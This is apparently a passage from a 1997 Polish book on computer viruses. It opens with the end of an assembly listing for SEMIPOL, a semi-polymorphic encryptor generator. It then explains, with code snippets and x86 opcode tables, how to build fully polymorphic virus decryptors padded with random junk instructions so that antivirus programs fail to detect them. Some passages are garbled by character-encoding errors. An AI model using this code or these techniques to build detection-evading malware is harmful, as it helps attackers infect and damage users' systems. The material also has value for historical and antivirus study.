stosb ; zostaw miejsce na ofset
call LosowySkok ; wstaw losowy skok
mov al,0E9h ; DEKODER: JNZ -> JMP z powrotem
stosb ; wstaw E9
mov ax,Semi_Petla ; oblicz ofset do DEKODER : Petla:
sub ax,di ;
sub ax,2 ; odejmij dlugosc operandu w E9,????
stosw ;
mov bx,Semi_DokadJZ ; oblicz ofset do DEKODER : Koniec:
mov ax,di ; i wstaw go pod wczesniej zapamietany
sub ax,bx ; ofset
dec ax ; odejmij dlugosc operandu w 74,??
mov [bx],al ;
mov bx,Semi_GdziePocz ; oblicz ofset, gdzie zaczynaja
mov ax,di ; sie dane przeznaczone do deszyfrowania
sub ax,Semi_Dokad ; z uwzglednieneim ofsetu dla
add ax,100h ; pliku COM (ORG 100h)
mov [bx],ax ; i zapisz pod zapamietany adres
mov cx,Semi_IleDanych ; ile danych do kopiowania
lea si,TMPBufor ; pobieraj z bufora zawierajacego
rep movsw ; zaszyfrowany kod i kopiuj na koniec
mov cx,di ; oblicz, ile danych do zapisu, czyli
sub cx,Semi_Dokad ; wartosc zwracana przez procedure
pop di si ax ; przywroc zapamietane rejestry
ret ; powrot z procedury
;-----------------------------------------------------------------------------
LosowySkok: ; wstawia losowy skok
mov ax,15 ; zakres skokow 1..15
Call PseudolosowaAX ; losuj z zakresu 1..15
mov ah,al ;
mov al,0EBh ; AX=skok,EB
stosw ; zapisz EB,skok
mov al,ah ;
mov ah,0 ; AX:=AL=skok
add di,ax ; dodaj do di
ret ; powrot z procedury
Semi_IleDanych dw ? ; \ potrzebne do chwilowego
Semi_Skad dw ? ; - zachowania roznych wartosci
Semi_Dokad dw ? ; /
Semi_Losowa dw ? ; wartosc szyfrujaca kod
Semi_GdziePocz dw ? ; \ adresy do zmiennych nieznanych
Semi_Petla dw ? ; \ w momencie, kiedy sa potrzebne
Semi_DokadJZ dw ? ; / aby mozna bylo je pozniej
; / zmienic
PseudoZarodek dw ? ; \ aktualny zarodek generatora liczb
; / pseudolosowych
TMPBufor db 256 dup(?) ; \ rozmiar tymczasowego bufora
; - = 256 bajtow, (o rozmiarze co najmniej
; / rownym dlugosci kodu wirusa)
;-----------------------------------------------------------------------------
PseudoLosowa: ; generuje liczbe pseudolosowa
; z zakresu 1..65535
mov ax,0FFFFh
PseudoLosowaAX: ; przedzial w AX
push dx ; zachowaj na chwile DX
Call ZmienPseudoZarodek ; zmien zarodek
mul PseudoZarodek ; DX:AX:=przedzial*Zarodek
xchg ax,dx ; AX:=0..przedzial
inc ax ; pomin zero
pop dx ; przywroc DX ze stosu
ret
ZmienPseudoZarodek: ; zmienia PseudoZarodek
push ax ; zachowaj stary AX
in al,40h ; AL:=przypadkowa wartosc
xchg ah,al ; AH:=AL
in al,40h ; AX:=przypadkowa wartosc
xor ax,0ABCDh ; operacje pomocnicze
add ax,1234h ; operacje pomocnicze
mov PseudoZarodek,ax ; przepisz nowy zarodek
pop ax ; przywroc stary AX
ret ; powrot z procedury
;----------------------------------------------------------------------------;
; Programik do zaszyfrowania wyswietlajacy komunikat ;
; przy uzyciu 09/21 ;
;----------------------------------------------------------------------------;
RozmiarPrzykladowegoKodu = offset KoniecKoduPrzykladowego- offset StartKoduPrzykladowego
StartKoduPrzykladowego:
call TrikCALL_POP ; trik do uzyskania relatywnego ofsetu
TrikCALL_POP:
pop si ; wez relatywny ofset, gdzie kod jest w pamieci
mov dx,offset TePrzyklad-Offset StartKoduPrzykladowego-3
add dx,si ; DX:=ofset do tekstu (relatywny)
mov ah,9 ; funkcja DOS - wyswietl tekst$
int 21h ; wywolaj funkcje
int 20h ; powrot do DOS (program typu COM)
TePrzyklad db CR,LF ; tekst do wyswietlenia
db '[Program wygenerowany przez SEMIPOL v1.0, Autor: Adam Blaszczyk]'
db DOLAR
KoniecKoduPrzykladowego:
;-----------------------------------------------------------------------------
TeCopyRight db CR,LF,'SEMIPOL v1.0, Autor : Adam Blaszczyk 1997',
db CR,LF,NUL
TeGenerator db CR,LF,'Czekaj, generuje plik(i) ...',CR,LF,NUL
AktualnaNazwaPliku db 'SEMI'
AktNumPliku db '0001'
db '.COM',NUL
TeCRLF db CR,LF,NUL
PSP_Segment dw ?
UchwytPliku dw ?
LiczbaPlikow dw ?
BuforDocelowy db 4096 dup(?)
StosStart db RozmiarStosu dup(?)
StosKoniec:
SEMI_POL ENDS
END Start
8.2.1.2. Pełny polimorfizm
Prawdziwie polimorficzne generatory zmiennych procedur szyfrujących powinny tworzyć przy każdym uruchomieniu całkowicie nową, unikalną procedurę dekodującą. Procedura taka najczęściej zachowuje tylko funkcje poniższej sekwenq'i:
LICZNIK:=IleDanych
INDEX:=Pocz╣tekZaszyfrowanegoKodu
FOR I:=1 to Licznik do begin
DEKODUJ_1 DANÑ [INDEX]
DEKODUJ_2 DANA [INDEX]
DEKODUJ_N DANA [INDEX]
INDEX:=INDEX + PRZYROST ;
end;
Dla każdej procedury dekodującej generator losuje najczęściej odpowiednio:
> indeks;
> licznik;
> kierunek zwiększania licznika;
> kierunek dekodowania;
> rodzaj używanych instrukcji (8086, 80286 itd.).
Licznik oznacza najczęściej rejestry procesora wybierane z listy (E)AX, (E)BX, (E)CX, (E)DX, (E)BP, (E)SI, (E)DI. Rejestr (E)SP jest z wiadomych względów pomijany. Oczywiście, możliwe jest także użycie rejestrów 8-bitowych (najprościej jako licznika). Litera (E) oznacza, iż możliwe jest wybranie także rejestrów 32 bitowych, jednak należy pamiętać, że użycie ich znacząco komplikuje samą procedurę generującą.
Z kolei indeks wybierany jest z listy możliwych sposobów adresowania dla procesorów 80x86. Może to być więc [BX+????], [BP+????], [SI+????], [DI+????], [BP+SI+????], [BP+DI+????], [BX+SI+????] lub [BX+DI+????]. Są to wszystkie możliwości, jakie może zawierać pole MmRejMem w instrukcjach operujących na danych w pamięci.
Liczbę różnych indeksów można poszerzyć poprzez użycie sposobów adresowania, które pojawiły się w procesorach 386 i wyższych. Umożliwiają one (poprzez zastosowanie słowa rozkazowego SIB) zastosowanie do adresowania wszystkich użytkowych rejestrów procesora.
Kierunek zwiększania licznika określa, czy licznik rośnie aż do wartości maksymalnej, czy też maleje od tej wartości do zera.
Kierunek dekodowania określa, od której strony zacznie się dekodo-wanie wirusa po uruchomieniu procedury; czy od początku zaszyfro-wanego kodu, czy też od jego końca. Konsekwencją obranych kierunków będą odpowiednie rozkazy zwiększające lub zmniejszające indeks i licznik. Od kierunków również zależeć będzie instrukcja sprawdzająca warunek zakończenia pętli dekodującej. Stopień skomplikowania samego dekodera wzrośnie, jeżeli pozwolimy na dynamiczne zmiany licznika i indeksu podczas działania programu. Na przykład, jeżeli początkowy licznik ustalimy jako CX, to po kilku wygenerowanych instrukcjach należy za pomocą instrukcji MOV REjl6, CX lub XCHG REJ16, CX wymusić zmianę licznika na inny.Jeśli chcemy skomplikować całą procedurę i uczynić ją polimorficzną, należy między instrukcje stanowiące integralną część dekodera wstawić rozkazy niepotrzebne z punktu widzenia działania programu, lecz niezbędne do zaciemnienia i ukrycia głównej procedury dekodu-jącej (rozkazy te muszą być wybierane losowo).
O ile w procedurze semi-polimorficznej do zaciemnienia kodu dekodera służył tylko jeden rozkaz, JMP SHORT, o tyle w przypadku pełnej procedury polimorficznej należy uwzględnić jak największą ilość rozkazów procesora.
Instrukcje stanowiące taki wypełniacz muszą spełniać kilka warunków. Najważniejsze Jest to, aby rozkazy te:
> nie zamazywały dowolnie nie używanej przez siebie pamięci;
> nie zawieszały komputera;
> nie powodowały generowania wyjątków;
> nie niszczyły zawartości ważnych dla działania programu rejestrów (m.in. CS, SS, SP oraz rejestrów stanowiących indeks i licznik).
Część powyższych ograniczeń można ominąć, o ile wykonana operacja zostanie odwrócona, a więc możliwe jest np. zamazanie pamięci, ale tylko pod warunkiem, iż w zniszczone miejsce wpiszemy chwilę później oryginalną, zapamiętaną wcześniej zawartość. Podobnie ma się sprawa ze zmienianiem rejestrów. Jeżeli chcemy np. zmienić rejestr będący licznikiem, możemy jego wartość na chwilę zapisać do innego rejestru lub na stosie, a następnie zmienić go tak, aby po wykonaniu kilku kolejnych instrukcji przywrócić jego oryginalną zawartość.
Najprostszy sposób to wstawienie jako wypełniacza instrukcji 1-bajtowych, jednak jest ich tak niewiele w liście rozkazów, iż procedura zawierająca tylko takie instrukcje będzie łatwa do wykrycia. Ponadto zbyt duża ich ilość w programie też nie jest pożądana, gdyż z reguły programy używają instrukcji kilkubajtowych, w związku z czym nadmiar instrukcji 1-bajtowych może wydać się podejrzany (zwłaszcza programowi antywirusowemu).
Pamiętać trzeba, iż najlepiej byłoby, gdyby wygenerowana procedura przypominała fragment typowych programów komputerowych, stąd też wskazane jest używanie w generatorze wywoływań przerwań BIOS i funkcji systemu DOS (np. sprawdzanie wersji systemu DOS, sprawdzanie, czy jest jakiś klawisz w buforze klawiatury itp.), które spowodują, iż ewentualnemu programowi antywirusowemu program wyda się typową aplikacją.
Innymi, prostymi do wykorzystania instrukcjami są rozkazy operujące na akumulatorze (AX) i na jego młodszej części (AL), gdyż posiadają uproszczone w stosunku do innych rejestrów kody. Również operacje przypisywania rejestrom roboczym jakiejś wartości są bardzo proste do wstawienia (grupa rozkazów MOV REJ/???? o kodach B0/??-B7/?? dla rejestrów AL - BH lub B8/????-BF/???? dla rejestrów AX - DI).
Trochę trudniejsza jest symulacja operacji stosowych, rozkazów skoków i wywołań procedur, jednak, jak pokazują istniejące generatory, można je z powodzeniem stosować. Aby procedura dekodująca była jak najbardziej podobna do fragmentu typowego programu, warto stosować instrukcje modyfikujące jakieś komórki w pamięci. Używając ich należy pamiętać, iż zmodyfikowaną wartość należy później bezwzględnie przywrócić (chyba, że mamy pewność, iż jest to dana nieistotna np. w kodzie wirusa).
Korzystając z operacji działających w pamięci na argumentach typu word i dword nie wolno zapominać o tym, iż np. przy adresowaniu bazowym lub indeksowym wartości rejestrów (SI, DI, BX, BP) będą najczęściej nie ustalone, stąd może wystąpić sytuacja, w której instrukcja będzie pobierała lub modyfikowała daną z pogranicza dwóch segmentów. Innymi słowy, offset obliczany na podstawie indeksu będzie miał np. wartość 0FFFFh, co przy próbie dostępu do danej word lub dword z miejsca pamięci określonego przez ten offset spowoduje wystąpienie wyjątku (numer 13 - ogólne naruszenie mechanizmów ochrony).
Aby uwzględnić w generatorze jak najpełniejszą listę rozkazów, należy zaopatrzyć się w spis instrukcji procesorów 80x86 i ich kodów maszynowych, a następnie przeanalizować każdą z instrukcji pod kątem jej przydatności jako części wypełniacza oraz warunków, w których zadziała ona poprawnie. Dobrym przykładem może być analiza instrukcji LODSB, którą chcielibyśmy zastosować zamiast instrukcji INC SI. Oprócz tego, iż modyfikuje ona rejestr AX (dokładniej AL), pamiętać trzeba, iż jej poprawne działanie zależne jest także od stanu bitu kierunku DF, zawartego w rejestrze znaczników. Używając jej musimy mieć więc pewność, iż wcześniej wystąpiła już instrukcja CLD, która właściwie ustawiła bit DF.
Powyższy przykład został dobrany celowo, gdyż pokazuje on, że aby uzyskać dany efekt, nie trzeba wcale używać szablonowych instrukcji, lecz poprzez użycie odpowiednich zamienników (działających
tak samo) można uzyskać jeszcze większą zmienność procedury de-kodującej. Innymi przykładami mogą tu być także poniższe operacje zerujące rejestr CX:
MOV CX,0 ; najbardziej trywialne zerowanie rejestru CX
XOR CX,CX ; operacja XOR na tych samych operandach zeruje je
SUB CX,CX ; odejmij CX od CX, w efekcie CX=0
AND CX,0 ; iloczyn logiczny z zerem jest zerem
ZerujCX: ; po wykonaniu pÛtli LOOP ZerujCX
; rejestr CX bÛdzie r¾wny O
MOV CX,XYZ ; wpisz do rejstru CX warto£µ
SUB CX,XYZ ; i potem j╣ od niego odejmij
MOV REJ16,0 ; zeruj jaki£ rejestr 16-bitowy
MOV CX,REJl6 ; i za jego pomoc╣ zeruj rejestr CX
XOR CL,CL ; kombinacje powy┐szych operacji dla rejestr¾w 8-bitowych SUB CH,CH ; CL i CH │╣cznie tak┐e wyzeruja rejestr CX
Oczywiście, powyższe sekwencje nie wyczerpują wszystkich możliwości.
Powyższą operację należy stosować przy doborze nie tylko instrukcji modyfikujących indeks i licznik, ale i przy rozkazach będących integralną częścią dekodera. Można np. zamiast jednej instrukq'i ADD [INDEX],???? użyć:
CLC ADC [INDEX], ????
SUB [INDEX],-????
MOV REJ,????
ADD [INDEX],REJ
Możliwości jest tu, podobnie jak poprzednio, bardzo dużo. Po wygenerowaniu procedura dekodująca powinna mieć postać podobną do poniższej sekwencji:
....... ; wype│niacz
inicjuj rejestr - licznik lub indeks
....... ; wype│niacz
inicjuj rejestr - indeks lub licznik
....... ; wype│niacz
pierwsza instrukcja dekodera
....... ; wype│niacz
druga instrukcja dekodera
....... ; wype│niacz
n-ta instrukcja dekodera
....... ; wype│niacz
sprawdzenie warunku zako±czenia pÛtli
....... ; wype│niacz
skok, je┐eli warunek spe│niony
....... ; wype│niacz
w│a£ciwy, zaszyfrowany
kod wirusa, do kt¾rego
zostanie przekazane
sterowanie po rozkodowaniu
....... ; wype│niacz
Przeprowadzając kilkakrotnie powyższe operacje można uzyskać kilkustopniową procedurę dekodera, która będzie bardzo trudna do wykrycia przez programy antywirusowe.
Aby przyspieszyć wykonywanie procedury dekodującej, często szyfruje się cały kod wirusa jakąś stałą procedurą, a dopiero ta jest roz-kodowywana za pomocą zmiennej procedury deszyfrującej, której wystarcza na rozkodowanie kilkakrotne wykonanie pętli dekodera. Innym sposobem może być tu całkowite pominięcie pętli i stworzenie kodu, który wygeneruje właściwą, stałą procedurę dekodująca w locie, budując odpowiednie jej instrukcje z odpowiednich fragmentów rozrzuconych po kodzie.
Poniżej zebrano informacje o wszystkich znanych instrukcjach procesorów 80x86 (kierując się ich przydatnością do wykorzystania w generatorze).
Lista nie zawiera rozkazów koprocesora, rozkazów systemowych oraz instrukcji wykorzystywanych przez języki wysokiego poziomu
(nie są one wykorzystywane przez generatory polimorficzne). Oprócz kodów instrukcji podano opis sposobu zapisywania adresów za pomocą bajtu MmRejMem (286+) i SIB (386+).
Informacje podane poniżej dotyczą działania instrukcji w trybie rzeczywistym procesora, a więc adresowania segmentów o rozmiarze maksymalnym 64k. W przypadku trybu chronionego i segmentów większych niż 64k (najczęściej 4G, czyli model FLAT) należy wziąć pod uwagę, iż działanie przedrostków 66 i 67 ma w nich odmienne znaczenie. Na przykład, jeżeli chcemy wygenerować rozkaz zerowania rejestru AX (MOV AX/0), należy dla segmentu zadeklarowanego z dyrektywą USE16 umieścić w buforze ciąg B8, 00, 00, zaś dla segmentu zadeklarowanego z dyrektywą USE32 użyć sekwencji 66, B8, OO, 00. Chcąc natomiast zerować rejestr EAX (MOV EAX/0), należy dla segmentu USE16 użyć sekwencji 66, B8, 00, 00, 00, 00, a dla segmentu USE32 - B8, 00, 00, 00, 00. Jak widać, przedrostki 66 i 67 służą do wymuszania trybu interpretowania instrukcji, odmiennego od tego którego używa procesor w danym trybie. W trybie rzeczywistym wymusza on instrukcje 32-bitowe, w chronionym zaś 16-bitowe.
Ze względu na to, iż instrukcje często zawierają argumenty w postaci kilku bitów umieszczonych w różnych miejscach, wszystkie kody instrukcji zawarte poniżej występują jako liczby binarne.
Działanie procedury generującej wypełniacz może wyglądać mniej więcej tak:
N:=LiczbaPseudolosowa
For I:=1 to N do GenerujInstrukcjÛ
Liczba N określa, ile instrukcji zostanie wygenerowanych podczas jednego wywołania procedury.
Procedura GenerujInstrukcję powinna wybrać (np. z tablicy) pierwszy bajt instrukcji i zapisać ją do bufora, a następnie, o ile to konieczne, dodać wymagane operandy. Podczas wybierania argumentów instrukcji należy sprawdzać czy wylosowany, przypadkowy argument nie koliduje w jakiś sposób z używanymi przez dekoder rejestrami. Jeżeli tak jest, procedurę wybierania argumentu należy kontynuować, aż do znalezienia odpowiedniego argumentu. Procedura GenerujInstrukcję powinna wyglądać mniej więcej tak (zapisana w pseudojęzyku, trochę podobnym do Pascala):
procedurÛ GenerujInstrukcjÛ;
X:=LiczbaPseudolosowa wybieraj╣ca generowana instrukcjÛ sprawdƒ atrybuty instrukcji wskazywanej przez X
if s╣ jakie£ operandy then
dla ka┐dego operandu begin
repeat
arg:=Pseudolosowa
if arg nie koliduje z zasobami dekodera to argument znaleziony
untii argument znaleziony lub furtka bezpiecze±stwa
wstaw operand=arg end else wstaw instrukcjÛ bez operand¾w;
end;
Załóżmy, iż dla dekodera zostały wybrane:
[Mem, czÛ£µ bajtu MrnRejMem, w tym przypadku [BX+SI] }
Indeks:= 000 ;{Rejestr: z przedzia│u 000.. 111}
Licznik:= 001 ;{trzeba zdekodowaµ u┐ywane
; przez indeks dwa rejestry, w tym
; przypadku oczywi£cie rÛcznie }
IndeksModyf1:= 110 ; [numer rejstru SI}
IndeksModyf2:= 011 ; (numer rejestru BX}
Niech procedura GenerujInstrukcje wybierze teraz do wstawienia np. rozkaz DEC, który w tabeli jest zapisany jako:
01001Rej DEC rejestr Rej.
Jak widać, instrukcja ta posiada parametr Rej, w tym przypadku rejestr 16 - lub 32 - bitowy. Załóżmy, iż rejestr jest 16-bitowy. Zapisana w asemblerze sekwencja szukająca operandu dla instrukcji powinna wyglądać mniej więcej tak:
SzukajArgumentu:
MOV AX,7
Call RandomAX ; weƒ liczbÛ z przedzia│u 000...111
; liczba w AL (bo AH-0)
cmp AL,IndeksModyfl ; czy rejestr zajÛty przez
; pierwsza czÛ£µ indeksu ?
je SzukajArgumentu
cmp AL, IndeksModyf2 ; czy rejestr zajÛty przez
; druga czÛ£µ indeksu ?
je SzukajArgumentu
cmp AL, Licznik ; czy rejestr zajÛty przez licznik ?
je SzukajArgumentu
cmp AL,100b ; czy rejestr to SP ?
je SzukajArgumentu
; argument znaleziony i jest w AL
; AL=00000arg - argument na trzech
; m│odszych bitach
or al, 01001000b ; zsumuj logicznie z 5 bitami kodu
; operacj i DEC
stosb ; zapisz ca│a instrukcjÛ DEC arg do bufora
Postępując w podobny sposób można rozszerzyć generator o wszystkie możliwe do wykorzystania, opisane dalej instrukcje.
W opisie instrukcji przyjęto następujące oznaczenia:
Rej - określa rejestr biorący udział w operacji; rodzaj rejestru (8-, 16-, czy 32-bitowy) jest określany na podstawie bitu D (jeżeli ten istnieje w instrukcji) oraz w zależności od tego, czy przed instrukcją wystą-pił przedrostek 66. Jeżeli D=0, to rejestr jest 8-bitowy; jeżeli przedrostek nie wystąpił i D=0, to 16-bitowy, w innym wypadku jest on 32-bitowy. Wartości przypisane poszczególnym rejestrom są następujące:
|
Rej |
000 |
001 |
010 |
011 |
100 |
101 |
110 |
111 |
|
8-bitowe |
AL. |
CL |
DL |
BL |
AH |
CH |
DH |
BH |
|
16-bitowe |
AX |
CX |
DX |
BX |
SP |
BP |
SI |
DI |
|
32-bitowe |
EAX |
ECX |
EDX |
EBX |
ESP |
EBP |
ESI |
EDI |
Mem - określa adres w pamięci, na którym wykonywana jest operacja; sposób adresowania zależy od obecności przedrostka 67 oraz od pola struktury MmRejMem, będącej drugim bajtem instrukcji. W zależności od zawartości pola Mm zmienia się wielkość offsetu dodawanego do odpowiednich rejestrów (08 - ofset 8 bitowy, 016 - 16 bitowy, 032 - 32 bitowy).
Jeżeli nie wystąpił przedrostek 67, to używany jest następujący sposób adresowania (16 - bitowy, Seg oznacza domyślny segment adresujący dane, jeżeli przed instrukcja nie wystąpił przedrostek innego segmentu):
|
Mem |
Seg/Mm |
00 |
01 |
10 |
11 - operacja na rejestrze o numerze Mam, a nie na pamieci |
|
000 |
DS |
[BX+SI] |
[BX+SI+O8] |
[BX+SI+O16] |
|
|
001 |
DS |
[BX+DI] |
[BX+DI+O8] |
[BX+DI+O16] |
|
|
010 |
SS |
[BP+SI] |
[BP+SI+O8] |
[BP+SI+O16] |
|
|
011 |
SS |
[BP+DI] |
[BP+DI+O8] |
[BP+DI+O16] |
|
|
100 |
DS |
[SI] |
[SI+O8] |
[SI+O16] |
|
|
101 |
DS |
[DI] |
[DI+O8] |
[DI+O16] |
|
|
110 |
DS/SS |
DS:[O16] |
SS:[BP+O8] |
SS:[BP+O16] |
|
|
111 |
DS |
[BX] |
[BX+O8] |
[BX+O16] |
|
Jeżeli wystąpił przedrostek 67, to używany jest następujący sposób adresowania (32-bitowy):
|
Mem |
Seg/Mm |
00 |
01 |
10 |
11-operacja na rejestrze o numerze Mem, a nie na pamięci |
|
000 |
DS |
[EAX] |
[EAX+O8} |
[EAX+O32] |
|
|
001 |
DS |
[ECX] |
[ECX+O8] |
[ECX+O32] |
|
|
010 |
DS |
[EDX] |
[EDX+O8] |
[EDX+O32] |
|
|
011 |
DS |
[EBX] |
[EBX+O8] |
[EBX+O32] |
|
|
100 |
|
[SIB] |
[SIB+O8] |
[SIB+O32] |
|
|
101 |
DS/SS |
DS:[O32] |
SS:[EBP+O8] |
SS:[EBP+O32] |
|
|
110 |
DS |
[ESI] |
[ESI+O8] |
[ESI+O32] |
|
|
111 |
DS |
[EDI] |
[EDI+O8] |
[EDI+O32] |
|
Użyty w tabeli skrót SIB (ang. Scale Index Base) oznacza rozszerzony sposób adresowania, w którym ułatwiony jest m.in. dostęp do tablic. Bajt opisujący pola SIB występuje zaraz po bajcie MmRejMem. Sposób obliczania przez procesor adresu zawartego w SIB jest następujący:
Adres SIB:=Baza+Indeks*(2^N), gdzie
> baza opisywana jest przez bity 7-5 bajtu SIB;
> indeks opisywany jest przez bity 4-2 bajtu SIB;
> liczba N opisywana przez bity 1-0 bajtu SIB (tak więc jedyna możliwość to mnożenie indeksu przez 2^00=1, 2^01=2, 2^10=4 2^11=8).
Poniższa tabela zawiera wartości, które może przyjmować Baza.
|
Baza |
Seg/Mm |
00 |
01,10,11 |
|
000 |
DS |
EAX |
EAX |
|
001 |
DS |
ECX |
ECX |
|
010 |
DS |
EBX |
EBX |
|
011 |
DS |
EDX |
EDX |
|
100 |
SS |
ESP |
ESP |
|
101 |
DS/SS |
DS:O32 |
SS:EBP |
|
110 |
DS |
ESI |
ESI |
|
111 |
DS |
EDI |
EDI |
Poniższa tabela zawiera wartości, które może przyjmować Indeks.
|
Index |
Rejestr |
|
000 |
EAX |
|
001 |
ECX |
|
010 |
EBX |
|
011 |
EDX |
|
100 |
- |
|
101 |
EBP |
|
110 |
ESI |
|
111 |
EDI |
Sg - opisuje rodzaj segmentu użytego w operacji.
Możliwe wartości Sg to: 00=ES, 01=CS, 10=SS, 11=DS
Seg - rozszerzone Sg (uwzględnia FS i GS).
Możliwe wartości Seg to: 000=ES, 001=CS, 010=SS, 011-DS, 100=FS, 101-GS
Wwww - określa różne warunki występujące w skokach lub rozkazach SRTxxxx i może przyjmować wartości przedstawione w poniższej tabeli:
|
Wartość Warunek |
|
0000 O - overflow |
|
0001 NO - not overflow |
|
0010 C-carry |
|
0011 NC-notcarry |
|
0100 Z-zero |
|
0101 NZ-not zero |
|
0110 NA-notabove |
|
0111 A-above |
|
1000 S-sign |
|
1001 NS-notsign |
|
1010 P-parity |
|
1011 NP-notparity |
|
1100 L-less |
|
1101 NL-not less |
|
1110 NG-notgreat |
|
1111 G-great |
Ope - używane przez niektóre instrukcje do określania operacji matematycznej lub logicznej, którą ma instrukcja wykonać.
|
Ope |
000 |
001 |
010 |
011 |
100 |
101 |
110 |
111 |
|
Opis |
ADD |
OR |
ADC |
SBB |
AND |
SUB |
XOR |
CMP |
Op2 - tworzy podgrupę operacji wykonywanych przez instrukcje o bajcie początkowym =82/83 (jest to zrnniejszona lista Ope).
|
Ope2 |
000 |
001 |
010 |
011 |
100 |
101 |
110 |
111 |
|
Opis |
ADD |
ADC |
SBB |
|
|
SUB |
|
CMP |
Op3 - opisuje grupę instrukcji o pierwszym kodzic=F6/F7.
|
Ope |
000 |
001 |
010 |
011 |
100 |
101 |
110 |
111 |
|
Opis |
TEST |
|
NOT |
NEG |
MUL |
IMUL |
DIV |
IDIV |
Op4 - opisuje instrukcje z pierwszym bajtem =FE,
|
Ope |
000 |
001 |
010 |
011 |
100 |
101 |
110 |
111 |
|
Opis |
INC |
|
DEC |
|
|
|
|
|
Op5 - opisuje instrukcje z pierwszym bajtem =FF.
|
Ope |
000 |
001 |
010 |
011 |
100 |
101 |
110 |
111 |
|
Opis |
INC |
DEC |
CALL NEAR |
CALL FAR |
JMP NEAR |
JMP FAR |
PUSH |
|
Ops - opisuje różne rodzaje przesunięć.
|
Ope |
000 |
001 |
010 |
011 |
100 |
101 |
110 |
111 |
|
Opis |
ROL |
ROR |
RCL |
RCR |
SHL |
SHR |
SAL |
SAR |
Akumulator - oznacza rejestr AL, AX lub EAX; rodzaj rejestru wybierany jest na podstawie bitu D (jeżeli ten jest w instrukcji) oraz obecności przedrostka 66.
Wartkom8 - oznacza bajt określający liczbę będącą operandem instrukcji.
WartkomD - oznacza bajt, słowo lub dwusłowo (zależnie od bitu D i przedrostka 66) określające liczbę będącą operandem instrukcji.
Reladre8 - określa relatywny offset (z zakresu -128..+127), który dodawany jest do wskaźnika instrukcji IP po wykonaniu np. skoku lub procedury.
ReladreD - określa relatywny offset, który dodawany jest do wskaźnika instrukcji IP po wykonaniu np: skoku, procedury (rodzaj ofsetu: 16- czy 32- bitowy określany jest na podstawie obecności przedrostka 66).
Numport8 - określa numer portu (8 bitów), na którym wykonuje się operację IN lub OUT.
Addroffs i Addrsegm - określają segment i offset, pod który skacze procesor po wykonaniu dalekiej procedury lub dalekiego skoku.
bit D - określa rodzaj operandu: bajt, słowo lub dwusłowo;
- jeżeli nie wystąpił przedrostek 66 i D=0: bajt,
- jeżeli nie wystąpił przedrostek 66 i D=1: słowo,
- jeżeli wystąpił przedrostek 66 i D=1: podwójne słowo.
bit S - określa kierunek przesyłania danych podczas wykonywania instrukcji zawierających bajt MmRejMem; S=0 Operacja Mem, Rej i S=1 Operacja Rej, Mem.
bit F - ustawiony, oznacza, iż jest to RETF, w przeciwnym razie RETN.
Jeżeli mnemonik instrukcji zmienia się przy użyciu przedrostka 66 lub bitu D, kolejne nazwy są oddzielone przecinkiem.
Kody Instrukcji
Kod instrukcji (binarnie) Mnemonik
00001111 1000Wwww Reladr16 JWwww Reladr16
00001111 1001Wwww MmRejMem SETWwww byte ptr [Mem]
00001111 10100000 PUSH FS
00001111 10100001 POP FS
00001111 10100010 CPUID
00001111 10100011 MmRejMem BTMem,Rej
00001111 10100100 MmRejMem Wartkom8 SHLD Mem,Wartkom8
00001111 10100101 MmRejMem SHLD Mem,Rej,CL
00001111 1010011D MmRejMem CMPXCHG Mem,Rej
00001111 10101000 PUSH GS
00001111 10101001 POP GS
00001111 10101011 MmRejMem BTS Mem,Rej
00001111 10101100 MmRejMem Wartkom8 SHRD Mem,Wartkom8
00001111 10101101 MmRejMem SHRD Mem,Rej,CL
00001111 10101111 MmRejMem IMUL Rej,Mem
00001111 10110010 MmRejMem LSS Rej,Mem
00001111 10110011 MmRejMem BTS Mem,Rej
00001111 10110100 MmRejMem LFS Rej,Mem
00001111 10110101 MmRejMem LGS Rej,Mem
00001111 10110110 MmRejMem MOVZX Rej,Mem
00001111 10110111 MmR32Mem MOVZX R32,Mem
00001111 10111011 MmRejMem BTC Mem,Rej
00001111 10111100 MmRejMem BSF Mem,Rej
00001111 10111101 MmRejMem BSR Mem,Rej
00001111 10111110 MmRejMem MOVSX Rej,Mem
00001111 10111111 MmR32Mem MOVSX R32,Mem
00001111 1100000D MmRejMem XADD Mem,Rej
00001111 11000111 Mm001Mem CMPXCHG8B mem
00001111 11001r32 BSWAP r32
00001111 11011010 Mm100Mem Wartkom8 BT Mem,Wartkom8
00001111 11011010 Mm101Mem Wartkom8 BTS Mem,Wartkom8
00001111 11011010 Mm110Mem Wartkom8 BTR Mem,Wartkom8
00001111 11011010 Mm111Mem Wartkom8 BTC Mem,Wartkom8
000Sg110 PUSH rejestr segmentowy Sg
000Sg111 POP rejestr segmentowy Sg, Sg<>01,
bo 00001111= rozszerzene instrukcje (w 8086
by│a to instrukcja POP CS)
00100111 DAA
00101111 DAS
00110111 AAA
00111111 AAS
001Sg110 przedrostek segmentu Sg
000pe0SD MmRejMem S=0,Ope Mem,Rej, S=1 Ope Reg,Mem
000pe10D WartkomD Ope Akumulator,WartkomD
01000Rej INC rejestr Rej
01001Rej DEC rejestr Rej
01010Rej PUSH rejestr Rej
01011Rej POP rejestr Rej
01100000 PUSHA
01100001 POPA
01100100 FS:
01100101 GS:
01100110 przedrostek instrukcji 386+ (dane 32-bitowe)
01100111 przedrostek instrukcji 386+ (operandy 32-
bitowe)
01101000 WartkomD PUSH WartkomD
0110100D MmRejMem WartkomD IMUL Rej,WartkomD,Mem
01101010 Wartkom8 PUSH Wartkom8
0110110D INSB, INSW, INSWD
0110111D OUTSB, OUTSW, OUTSD
0111wwww Reladre8 JWwww Reiadre8
1000000D MmOpeMem WartkomD Ope Mem,WartkomD
1000001D MmOp2Mem Wartkom8 Op2 Mem, Integer (Wartkom8)
1000010D MmRejMem TEST Mem,Rej
1000011D MmRejMem XCHG Mem,rej
100010SD MmRejMem S=0, MOV Mem,Rej, S=1 MOV Reg,Mem
10001101 MmRejMem LEA Rej,Mem
10001111 Mm000Mem POP Mem
100011S0 MmSegMem S=0 MOV Mem,Seg, S=1 MOV Seg, Mem
10010Rej XCHG rejestr Rej
10011000 CBW/CWDE
10011001 CWD/CDQ
10011010 Addroffs Addrsegm CALL FAR Addrsegm:Addroffs
10011011 wait
10011100 PUSHF/PUSHFD
10011101 POPF/POPFD
10011110 SAHF
10011111 LAHF
101000SD WartkomD S=0 MOV Akumutator,[WartkomD] ; S=1 MOV [WartkomD],Akumulator
1010010D MOVSB,MOVSW, MOVSD
1010011D CMPSB, CMPSW, CMPSD
1010100D WartkomD TEST Akumulator,WartkomD
1010101D STOSB, STOSW, STOSD
1010110D LODSB, LODSW, LODSD
1010111D SCASB, SCASW, SCASD
